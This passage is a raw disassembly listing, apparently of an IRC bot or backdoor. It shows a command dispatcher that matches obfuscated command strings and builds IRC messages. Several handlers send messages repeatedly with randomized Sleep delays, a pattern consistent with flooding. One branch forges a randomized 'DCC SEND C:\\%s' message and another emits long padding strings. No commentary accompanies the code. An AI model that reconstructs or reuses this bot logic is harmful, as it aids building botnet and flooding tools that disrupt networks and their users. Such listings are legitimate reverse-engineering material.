		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355DC
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355CC
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355CC
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h


loc_406525:				; CODE XREF: sub_403B2C+27EFj
					; sub_403B2C+27FAj
		push	dword ptr [esi+4]
		push	offset aDqjso_47pdb ; "dQJSO.47pdb/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4065F1
		cmp	[esi+8], eax
		jz	loc_4065F1
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h


loc_4065F1:				; CODE XREF: sub_403B2C+2A0Aj
					; sub_403B2C+2A13j
		push	dword ptr [esi+4]
		push	offset aK9vUKkutm ; "K9V/U/KkuTM/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066A4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	loc_4066A4
		push	eax
		lea	eax, [ebp+var_46E8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_406675


loc_406633:				; CODE XREF: sub_403B2C+2B47j
		mov	eax, [ebp+arg_C]
		mov	eax, [esi+eax*4]
		test	eax, eax
		jz	short loc_40666A
		push	eax
		lea	eax, [ebp+var_6CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_6CAC]
		push	100h
		push	eax
		lea	eax, [ebp+var_46E8]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_40666A:				; CODE XREF: sub_403B2C+2B0Fj
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_406633


loc_406675:				; CODE XREF: sub_403B2C+2B05j
		lea	eax, [ebp+var_46E8]
		push	eax
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_4066A4:				; CODE XREF: sub_403B2C+2AD6j
					; sub_403B2C+2AE1j
		push	dword ptr [esi+4]
		push	offset a7yfnz0pw11s1 ; "7yfnz0PW11s1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406757
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	loc_406757
		push	eax
		lea	eax, [ebp+var_3FDC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_406728


loc_4066E6:				; CODE XREF: sub_403B2C+2BFAj
		mov	eax, [ebp+arg_C]
		mov	eax, [esi+eax*4]
		test	eax, eax
		jz	short loc_40671D
		push	eax
		lea	eax, [ebp+var_6CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_6CAC]
		push	100h
		push	eax
		lea	eax, [ebp+var_3FDC]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_40671D:				; CODE XREF: sub_403B2C+2BC2j
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_4066E6


loc_406728:				; CODE XREF: sub_403B2C+2BB8j
		lea	eax, [ebp+var_3FDC]
		push	eax
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C0A0
		push	offset dword_4355C0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_406757:				; CODE XREF: sub_403B2C+2B89j
					; sub_403B2C+2B94j
		push	dword ptr [esi+4]
		push	offset aNq_as1z1sit ; "nQ.As1Z1SIt/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406797
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_406797
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		push	eax
		lea	eax, [ebp+var_3150]
		push	offset dword_4355B0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h


loc_406797:				; CODE XREF: sub_403B2C+2C3Cj
					; sub_403B2C+2C43j
		push	dword ptr [esi+4]
		push	offset aUn3hk0sn58o_0 ;	"uN3hk0sn58o/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40683C
		mov	ecx, [esi+8]
		test	ecx, ecx
		jz	loc_40683C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_406815
		push	eax
		push	ecx
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset dword_4355C0
		push	eax
		call	sub_422063
		add	esp, 14h
		jmp	short loc_40682F
; ---------------------------------------------------------------------------


loc_4067DD:				; CODE XREF: sub_403B2C+23D5j
					; sub_403B2C+23DEj ...
		cmp	[ebp+arg_14], ecx
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		jnz	short loc_406802
		cmp	[ebp+arg_18], ecx
		jnz	short loc_40680B
		push	offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h
		xor	ecx, ecx


loc_406802:				; CODE XREF: sub_403B2C+2CB9j
		cmp	[ebp+arg_18], ecx


loc_406805:				; CODE XREF: sub_403B2C+3ACFj
		jz	loc_40AF54


loc_40680B:				; CODE XREF: sub_403B2C+2CBEj
					; sub_403B2C+3AB2j
		push	offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		jmp	loc_40ADA0
; ---------------------------------------------------------------------------


loc_406815:				; CODE XREF: sub_403B2C+2C92j
		push	ecx
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		add	esp, 10h


loc_40682F:				; CODE XREF: sub_403B2C+2CAFj
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		pop	ecx


loc_40683C:				; CODE XREF: sub_403B2C+2C7Cj
					; sub_403B2C+2C87j
		push	dword ptr [esi+4]
		push	offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40687C
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_40687C
		push	eax
		push	offset aZ_0	; "=Z]"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h


loc_40687C:				; CODE XREF: sub_403B2C+2D21j
					; sub_403B2C+2D28j
		push	dword ptr [esi+4]
		push	offset aIegud0v_5_ ; "iEguD0V/.5/."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4068C1
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_4068C1
		push	offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"...
		push	eax
		push	offset aZ_0	; "=Z]"
		lea	eax, [ebp+var_3150]
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_4068C1:				; CODE XREF: sub_403B2C+2D61j
					; sub_403B2C+2D68j
		push	dword ptr [esi+4]
		push	offset aFc9kk1jx11g_ ; "fc9Kk1jX11G."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406933
		cmp	[esi+8], eax
		jz	short loc_406933
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		call	sub_4220FC
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1748]
		push	edx
		push	dword ptr [esi+8]
		push	offset dword_4355A8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_1748]
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 28h


loc_406933:				; CODE XREF: sub_403B2C+2DA6j
					; sub_403B2C+2DABj
		push	dword ptr [esi+4]
		push	offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406A88
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_406A88
		push	eax
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset aZ_0	; "=Z]"
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 2Ch
		call	sub_4220FC
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset aTf	; "'TF"
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset aZ_0	; "=Z]"
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset aTf	; "'TF"
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 2Ch
		call	sub_4220FC
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aXs_gx1codil0ip ; "XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECo"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset aZ_0	; "=Z]"
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_406A88:				; CODE XREF: sub_403B2C+2E18j
					; sub_403B2C+2E23j
		push	dword ptr [esi+4]
		push	offset aVi0qa1mvfro1 ; "VI0QA1mvfro1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406E68
		cmp	[esi+8], eax
		jz	loc_406E68
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		call	sub_4220FC
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 41h
		mov	byte ptr [ebp+arg_C+3],	dl
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		movsx	eax, byte ptr [ebp+arg_C+3]
		push	edx
		push	eax
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	0Fh
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_ECAC]
		push	edx
		push	offset dword_435500
		push	eax
		call	sub_422063
		push	7D0h
		push	400h
		call	sub_41409E
		add	esp, 0C4h
		push	eax
		lea	eax, [ebp+var_1ACAC]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4354C4
		push	eax
		call	sub_422063
		push	7D0h
		push	400h
		call	sub_41409E
		add	esp, 1Ch
		push	eax
		call	sub_4220FC
		cdq
		mov	ecx, 5F5E0FFh
		idiv	ecx
		lea	eax, [ebp+var_BCAC]
		push	edx
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_435478
		push	eax
		call	sub_422063
		push	7D0h
		push	400h
		call	sub_41409E
		add	esp, 20h
		push	eax
		call	sub_4220FC
		cdq
		mov	ecx, 5F5E0FFh
		idiv	ecx
		push	edx
		push	dword ptr [esi+8]
		push	offset dword_43C078
		lea	eax, [ebp+var_DCAC]
		push	offset dword_43544C
		push	eax
		call	sub_422063
		push	7D0h
		push	400h
		call	sub_41409E
		push	eax
		lea	eax, [ebp+var_ECAC]
		push	eax
		lea	eax, [ebp+var_FCAC]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_435428
		push	eax
		call	sub_422063
		add	esp, 38h
		call	sub_40323F
		push	eax
		lea	eax, [ebp+var_ECAC]
		push	eax
		call	sub_40323F
		push	eax
		lea	eax, [ebp+var_11CAC]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_435410
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_ECAC]
		push	eax
		lea	eax, [ebp+var_13CAC]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset aSSDccSendCS ; "%s %s :DCC SEND C:\\\\\\\\%s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_1ACAC]
		push	eax
		call	sub_4032AA
		lea	eax, [ebp+var_BCAC]
		push	eax
		call	sub_4032AA
		lea	eax, [ebp+var_DCAC]
		push	eax
		call	sub_4032AA
		lea	eax, [ebp+var_FCAC]
		push	eax
		call	sub_4032AA
		add	esp, 40h
		lea	eax, [ebp+var_11CAC]
		push	eax
		call	sub_4032AA
		lea	eax, [ebp+var_13CAC]
		push	eax
		call	sub_4032AA
		pop	ecx
		pop	ecx


loc_406E68:				; CODE XREF: sub_403B2C+2F6Dj
					; sub_403B2C+2F76j
		push	dword ptr [esi+4]
		push	offset aJdzdp05e7aw_ ; "jdZDp05E7aW."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406ECB
		cmp	[esi+8], eax
		jz	short loc_406ECB
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		mov	[esp+10h+var_10], 7D0h
		push	400h
		call	sub_41409E
		push	eax
		push	offset aAAAAAAAAAAAAAA ; "a a a	a a a a	a a a a	a a a a	a a a a	a"...
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_15CAC]
		push	offset dword_43C078
		push	offset dword_4352C0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_15CAC]
		push	eax
		call	sub_4032AA
		add	esp, 24h


loc_406ECB:				; CODE XREF: sub_403B2C+334Dj
					; sub_403B2C+3352j
		push	dword ptr [esi+4]
		push	offset aW3gp6_13acy1 ; "W3GP6.13AcY1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406FE0
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_406FE0
		push	eax
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_270]
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 2Ch
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_270]
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_270]
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_406FE0:				; CODE XREF: sub_403B2C+33B0j
					; sub_403B2C+33BBj
		push	dword ptr [esi+4]
		push	offset aZat3j_lm3ge1 ; "zAT3J.lm3Ge1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40702B
		lea	eax, [ebp+var_1710]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_1710]
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_40702B:				; CODE XREF: sub_403B2C+34C5j
		push	dword ptr [esi+4]
		push	offset aLjAmKzrtp1 ; "lJ/am/kZRtP1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40711F
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_40711F
		push	eax
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]


loc_40707B:				; DATA XREF: .text:00438E1Co
					; .text:00438E30o ...
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 2Ch
		call	sub_4220FC
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_40711F:				; CODE XREF: sub_403B2C+3510j
					; sub_403B2C+351Bj
		push	dword ptr [esi+4]
		push	offset aXzaru0amxhi_ ; "XZArU0aMxhi."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407213
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_407213
		push	eax
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 2Ch
		call	sub_4220FC
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_407213:				; CODE XREF: sub_403B2C+3604j
					; sub_403B2C+360Fj
		push	dword ptr [esi+4]
		push	offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407334
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_407334
		push	eax
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 28h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355DC
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355CC
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355CC
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 14h


loc_407334:				; CODE XREF: sub_403B2C+36F8j
					; sub_403B2C+3703j
		push	dword ptr [esi+4]
